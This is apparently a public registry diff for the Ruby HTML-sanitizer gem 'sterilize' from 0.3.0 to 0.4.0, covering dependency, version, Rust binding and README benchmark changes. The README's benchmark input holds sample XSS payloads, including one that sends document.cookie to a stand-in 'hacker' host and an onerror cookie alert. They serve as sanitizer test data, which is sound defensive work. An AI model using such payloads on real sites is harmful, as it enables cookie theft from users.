sterilize 0.3.0 → 0.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: e2ce2e82f6cfbb9c8cba17cdafcff22b05a528be53dd26d73bbcd7e189bb96ef
4
- data.tar.gz: 13fa1186f045426d987660daa92711fbb77a2c949c8db6974efee2aa8f02cfab
3
+ metadata.gz: 530a4e6175b009628c886e6cedee437f49f273c1585cde7dea5cb551a92f3329
4
+ data.tar.gz: 2c073cbab31aebc2a30ab371915b6b42c0216a62b9dfbba19b8af8fbc7f55b24
5
5
  SHA512:
6
- metadata.gz: 2518105e1f28b45b700eca12d1ed69183f2f6c4ff2aa3f43c593ea5d14a3fd34f919364bbe7e145c64af8f329a210352091ede324648f02f052d695f1f965cd6
7
- data.tar.gz: 553e5e1eb9ad4057ed8e28b0867bad24b3ce29ba75d34fdbcc5cf57645487deb48fd70e809ab1d18302a98615ac38e497d9d7d853366aefc73505862619371c1
6
+ metadata.gz: edc995bfee0167ae39e7c811cc879487b695eaab0efc71fd74639fbddf0ca512dd5e31c5b3d0ca2cea35cea37190288c5163fcc97f9df9239b52bc483d04208a
7
+ data.tar.gz: a5cb40366218797d21a85774a63c5e9f4784dfa27f7c79e1be92b91fd061cafb7b2db5d4ca94a83cdee1c37a437ff702378069c20aee3b7296d940ce670a2dc2
data/Gemfile.lock CHANGED
@@ -1,13 +1,15 @@
1
1
  PATH
2
2
  remote: .
3
3
  specs:
4
- sterilize (0.3.0)
4
+ sterilize (0.4.0)
5
5
  rutie (~> 0.0.4)
6
+ thermite (~> 0.13)
6
7
 
7
8
  GEM
8
9
  remote: https://rubygems.org/
9
10
  specs:
10
11
  diff-lcs (1.3)
12
+ minitar (0.9)
11
13
  rake (10.4.2)
12
14
  rspec (3.8.0)
13
15
  rspec-core (~> 3.8.0)
@@ -23,6 +25,11 @@ GEM
23
25
  rspec-support (~> 3.8.0)
24
26
  rspec-support (3.8.2)
25
27
  rutie (0.0.4)
28
+ thermite (0.13.0)
29
+ minitar (~> 0.5)
30
+ rake (>= 10)
31
+ tomlrb (~> 1.2)
32
+ tomlrb (1.2.8)
26
33
 
27
34
  PLATFORMS
28
35
  ruby
data/README.md CHANGED
@@ -13,15 +13,16 @@ Take a look at the specs directory to see some of the cases that get handled. Th
13
13
  Finally, Sterilize is _fast_.
14
14
 
15
15
  ```ruby
16
- unsafe_string = "I am nice safe user input, nothing to see here.. <script>console.log('installing bitcoin miner')</script><SCRIPT>var+img=new+Image();img.src='http://hacker/'%20+%20document.cookie;</SCRIPT><img src='http://url.to.file.which/not.exist' onerror=alert(document.cookie);><a href='data:text/html;base64,PHNjcmlwdD5hbGVydCgna25pZ2h0c3RpY2sgd2FzIGhlcmUnKTwvc2NyaXB0Pg=='>HACK HACK HACK</a>" * 10000
16
+ unsafe_string = "I am nice safe user input, nothing to see here.. <script>console.log('installing bitcoin miner')</script><SCRIPT>var+img=new+Image();img.src='http://hacker/'%20+%20document.cookie;</SCRIPT><img src='http://url.to.file.which/not.exist' onerror=alert(document.cookie);><a href='data:text/html;base64,PHNjcmlwdD5hbGVydCgna25pZ2h0c3RpY2sgd2FzIGhlcmUnKTwvc2NyaXB0Pg=='>HACK HACK HACK</a>" * 1000
17
+
17
18
 
18
19
  Benchmark.bm do | benchmark |
19
- benchmark.report("Sterilize") do
20
+ benchmark.report("Sterilize#perform") do
20
21
  50.times do
21
22
  Sterilize.perform(unsafe_string)
22
23
  end
23
24
  end
24
- benchmark.report("Loofah") do
25
+ benchmark.report("Loofah.scrub_fragment(unsafe_string, :prune).to_str") do
25
26
  50.times do
26
27
  Loofah.scrub_fragment(unsafe_string, :prune).to_str
27
28
  end
@@ -29,12 +30,12 @@ Benchmark.bm do | benchmark |
29
30
  end
30
31
  ```
31
32
 
32
- As you can see, Sterilize can operate significatnly faster. As with all benchmarks though, your mileage may vary and it's important to see how things work in practice for you.
33
+ As you can see, Sterilize can operate significatnly faster (somewhere in the ballpark of 9-10 times faster). As with all benchmarks though, your mileage may vary and it's important to see how things work in practice for you.
33
34
 
34
- | Library | user | system | total | real |
35
- | --------- | ---------- | -------- | ---------- | ------------ |
36
- | Sterilize | 74.585432 | 0.250712 | 74.836144 | ( 75.194400) |
37
- | Loofah | 110.456900 | 0.619901 | 111.076801 | (111.206092) |
35
+ | Library | user | system | total | real |
36
+ | --------------------------------------------------- | ---------- | -------- | ---------- | ------------ |
37
+ | Sterilize#perform | 1.284460 | 0.006097 | 1.290557 | ( 1.295062) |
38
+ | Loofah.scrub_fragment(unsafe_string, :prune).to_str | 10.183802 | 0.064826 | 10.248628 | ( 10.274430) |
38
39
 
39
40
  ## Installation
40
41
 
@@ -1,3 +1,3 @@
1
1
  module Sterilize
2
- VERSION = "0.3.0"
2
+ VERSION = "0.4.0"
3
3
  end
data/src/lib.rs CHANGED
@@ -11,8 +11,9 @@ methods!(
11
11
  Sterilize,
12
12
  _itself,
13
13
  fn perform(input: RString) -> RString {
14
- let dirty_string = input.map_err(|e| VM::raise_ex(e)).unwrap().to_string();
15
- let sterile = clean(&dirty_string);
14
+ let dirty_r_string = input.map_err(|e| VM::raise_ex(e)).unwrap();
15
+ let dirty_string = dirty_r_string.to_str();
16
+ let sterile = clean(dirty_string);
16
17
  RString::new_utf8(&sterile)
17
18
  }
18
19
  );
data/sterilize.gemspec CHANGED
@@ -27,6 +27,8 @@ Gem::Specification.new do |spec|
27
27
 
28
28
  spec.add_dependency 'rutie', '~> 0.0.4'
29
29
 
30
+ spec.add_runtime_dependency 'thermite', '~> 0.13'
31
+
30
32
  spec.add_development_dependency "bundler", "~> 2.0"
31
33
  spec.add_development_dependency "rake", "~> 10.0"
32
34
  spec.add_development_dependency "rspec", "~> 3.6"
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: sterilize
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.3.0
4
+ version: 0.4.0
5
5
  platform: ruby
6
6
  authors:
7
7
  - Martin Feckie
@@ -24,6 +24,20 @@ dependencies:
24
24
  - - "~>"
25
25
  - !ruby/object:Gem::Version
26
26
  version: 0.0.4
27
+ - !ruby/object:Gem::Dependency
28
+ name: thermite
29
+ requirement: !ruby/object:Gem::Requirement
30
+ requirements:
31
+ - - "~>"
32
+ - !ruby/object:Gem::Version
33
+ version: '0.13'
34
+ type: :runtime
35
+ prerelease: false
36
+ version_requirements: !ruby/object:Gem::Requirement
37
+ requirements:
38
+ - - "~>"
39
+ - !ruby/object:Gem::Version
40
+ version: '0.13'
27
41
  - !ruby/object:Gem::Dependency
28
42
  name: bundler
29
43
  requirement: !ruby/object:Gem::Requirement